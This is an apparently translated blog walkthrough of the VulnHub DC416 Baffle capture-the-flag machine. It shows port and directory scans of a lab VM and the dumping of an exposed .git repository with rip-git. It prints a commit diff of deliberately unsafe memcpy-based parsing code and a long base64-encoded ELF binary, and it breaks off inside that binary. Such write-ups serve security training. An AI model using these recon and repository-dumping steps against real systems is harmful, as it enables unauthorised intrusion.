⬆️ ⬇️

VulnHub: Reverse everything you can in DC416 Baffle





Good day to all, this article would like to complete the DC416, CTF series from DefCon Toronto's conference. Leaving DC416 Baffle for dessert, in my opinion, is the most interesting and hardcore quest provided by the VulnHub team.



Attention! Ahead will be a lot of reverse and binary operation!

')

If you are not ready for this, then I recommend to get acquainted first with the previous raytaps:







Let's start



We start virtualka, and proceed to search for open ports:



$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535 


Starting Nmap 7.01 ( nmap.org ) at 2016-12-31 12:19 MSK

Nmap scan report for 192.168.1.190

Host is up (0.00071s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

22 / tcp open ssh OpenSSH 6.7p1 Debian 5 + deb8u3 (protocol 2.0)

80 / tcp open http nginx 1.6.2

6969 / tcp open acmsoda?

MAC Address: 08: 00: 27: 84: 83: C3 (Oracle VirtualBox virtual NIC)

Service Info: OS: Linux; CPE: cpe: / o: linux: linux_kernel


Flag 1



 $ sudo dirsearch -u 'http://192.168.1.190' -w /usr/share/dirb/wordlists/big.txt -e php,html,js,jpg,txt,bak -r -f -x 403 






There is a directory with git repository. We download it using dvcs-ripper :



 $ mkdir site-repo && cd site-repo $ rip-git -u http://192.168.1.190/.git/ $ ls -ahl drwxrwxr-x 6 gh0st3rs gh0st3rs 4,0K . 2 17:25 .git -rw-rw-r-- 1 gh0st3rs gh0st3rs 616 . 2 17:25 hellofriend.c 


Commit log
 commit 8bde72465957415c12ab6f89ff679f8f9e7c5c7a Author: alice <alice@baffle.me> Date: Mon Oct 17 14:58:02 2016 -0400 Trashed my code, but deployed the product anyway. diff --git a/hellofriend.cb/hellofriend.c index 10a4d9e..6f8855b 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -13,22 +13,13 @@ int parse_request(char *req, int n) { char mode[10]; char *ptr = req; FILE *fp; - - memset(file, 0, sizeof(file)); - memset(mode, 0, sizeof(mode)); - - memset(data, 0, sizeof(data)); - memset(to_write, 0, sizeof(to_write)); - - ptr = (char *)ptr + 2; - file_len = strlen(ptr); - - ptr = (char *)ptr + file_len + 1; - ptr = (char *)ptr + 6; - - memcpy(to_write, ptr, 500); - memcpy(data, ptr, 2000); + if (req_type == 0x01) { + /* todo */ + } + if (req_type == 0x2) { + /* todo */ + } return 0; } diff --git a/project.enc b/project.enc deleted file mode 100644 index 7fe355b..0000000 --- a/project.enc +++ /dev/null @@ -1,147 +0,0 @@ -f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI -AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA -AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA -AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA -AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA -AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA -AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA -AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA -UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv -bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA -AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA -AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA -AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA -AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA -AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA -AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA -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 -AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgCQAAAAAAAAAAAAAAAAAAA -AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAAAAAAwAHACYEQAAAAAAAAAAAAAAAAAAAAAAAAwAIAEAE -QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA -AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA -AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA -AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA -AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU -AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA -AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA -AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA -AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA -AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA -AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA -AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA -AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS -AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA -AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh -AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN -YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA -AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA -EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA -AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA -AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA -AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA -AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh -AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ -QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA -AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA -EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA -AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA -AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1 -ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf -YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5 -AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB -TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy -YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf -Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA -X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM -SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0 -YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n -bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl -ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2 -X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU -TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu -bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry -AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w -bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf -YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t -ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA -AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA -AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA -AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA -AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA -AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA -AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA -XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC -AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA -AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA -AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA -AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA -AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA -AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA -AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA -BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj -AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA -AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA -AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA -AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA -AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA -AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA -AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA -cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD -AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA -AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA -AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA -AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA -AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA -AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA -ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA -6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA -AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA -AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca Author: alice <alice@baffle.me> Date: Mon Oct 17 14:55:07 2016 -0400 Some assembly required diff --git a/project.enc b/project.enc new file mode 100644 index 0000000..7fe355b --- /dev/null +++ b/project.enc @@ -0,0 +1,147 @@ +f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI +AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA +AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA +AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA +AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA +AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA +AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA +AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA +UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv +bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA +AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA +AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA +AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA +AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA +AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA +AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA +MQAAABEAGgDADWAAAAAAAAgAAAAAAAAAAGxpYmMuc28uNgBmb3BlbgBwcmludGYAZmdldHMAc3Ry +bGVuAG1lbXNldAByZWFkAHN0ZG91dABtZW1jcHkAc2V0YnVmAF9fbGliY19zdGFydF9tYWluAF9f +Z21vbl9zdGFydF9fAEdMSUJDXzIuMTQAR0xJQkNfMi4yLjUAAAACAAIAAgACAAIAAgACAAAAAwAC +AAIAAAABAAIAAQAAABAAAAAAAAAAlJGWBgAAAwBnAAAAEAAAAHUaaQkAAAIAcgAAAAAAAABIDWAA +AAAAAAYAAAAIAAAAAAAAAAAAAADADWAAAAAAAAUAAAALAAAAAAAAAAAAAABoDWAAAAAAAAcAAAAB +AAAAAAAAAAAAAABwDWAAAAAAAAcAAAACAAAAAAAAAAAAAAB4DWAAAAAAAAcAAAADAAAAAAAAAAAA +AACADWAAAAAAAAcAAAAEAAAAAAAAAAAAAACIDWAAAAAAAAcAAAAFAAAAAAAAAAAAAACQDWAAAAAA +AAcAAAAGAAAAAAAAAAAAAACYDWAAAAAAAAcAAAAHAAAAAAAAAAAAAACgDWAAAAAAAAcAAAAJAAAA +AAAAAAAAAACoDWAAAAAAAAcAAAAKAAAAAAAAAAAAAABIg+wISIsFxQcgAEiFwHQF6LMAAABIg8QI +wwAAAAAAAAAAAAAAAAAA/zWyByAA/yW0ByAADx9AAP8lsgcgAGgAAAAA6eD/////JaoHIABoAQAA +AOnQ/////yWiByAAaAIAAADpwP////8lmgcgAGgDAAAA6bD/////JZIHIABoBAAAAOmg/////yWK +ByAAaAUAAADpkP////8lggcgAGgGAAAA6YD/////JXoHIABoBwAAAOlw/////yVyByAAaAgAAADp +YP////8lAgcgAGaQAAAAAAAAAAAx7UmJ0V5IieJIg+TwUFRJx8DwCUAASMfBgAlAAEjHx/cIQADo +h/////RmDx9EAAC4xw1gAFVILcANYABIg/gOSInldhu4AAAAAEiFwHQRXb/ADWAA/+BmDx+EAAAA +AABdww8fQABmLg8fhAAAAAAAvsANYABVSIHuwA1gAEjB/gNIieVIifBIweg/SAHGSNH+dBW4AAAA +AEiFwHQLXb/ADWAA/+APHwBdw2YPH0QAAIA9wQYgAAB1EVVIieXobv///13GBa4GIAAB88MPH0AA +v3ALYABIgz8AdQXrkw8fALgAAAAASIXAdPFVSInl/9Bd6Xr///9VSInlSIHsMAYAAEiJvdj5//+J +tdT5//9Ii4XY+f//SIlF+EiNhfD7//+69AEAAL4AAAAASInH6F7+//9IjYXg+f//ugoAAAC+AAAA +AEiJx+hF/v//SIuF2Pn//0iDwAEPtgAPvsCJRfSDffQBD4WWAAAASINF+AKLhdT5//+D6AmJRfCL +RfBIY9BIi034SI2F8Pv//0iJzkiJx+g6/v//SI2F8Pv//74ECkAASInH6Db+//9IiUXoSIN96AB0 +SkiNhfD5//+69AEAAL4AAAAASInH6ML9//9Ii1XoSI2F8Pn//770AQAASInH6Nr9//9IjYXw+f// +SInGvwYKQAC4AAAAAOiB/f//g330Ag+FlwAAAEiNhfD9//+69AEAAL4AAAAASInH6G79//+69AEA 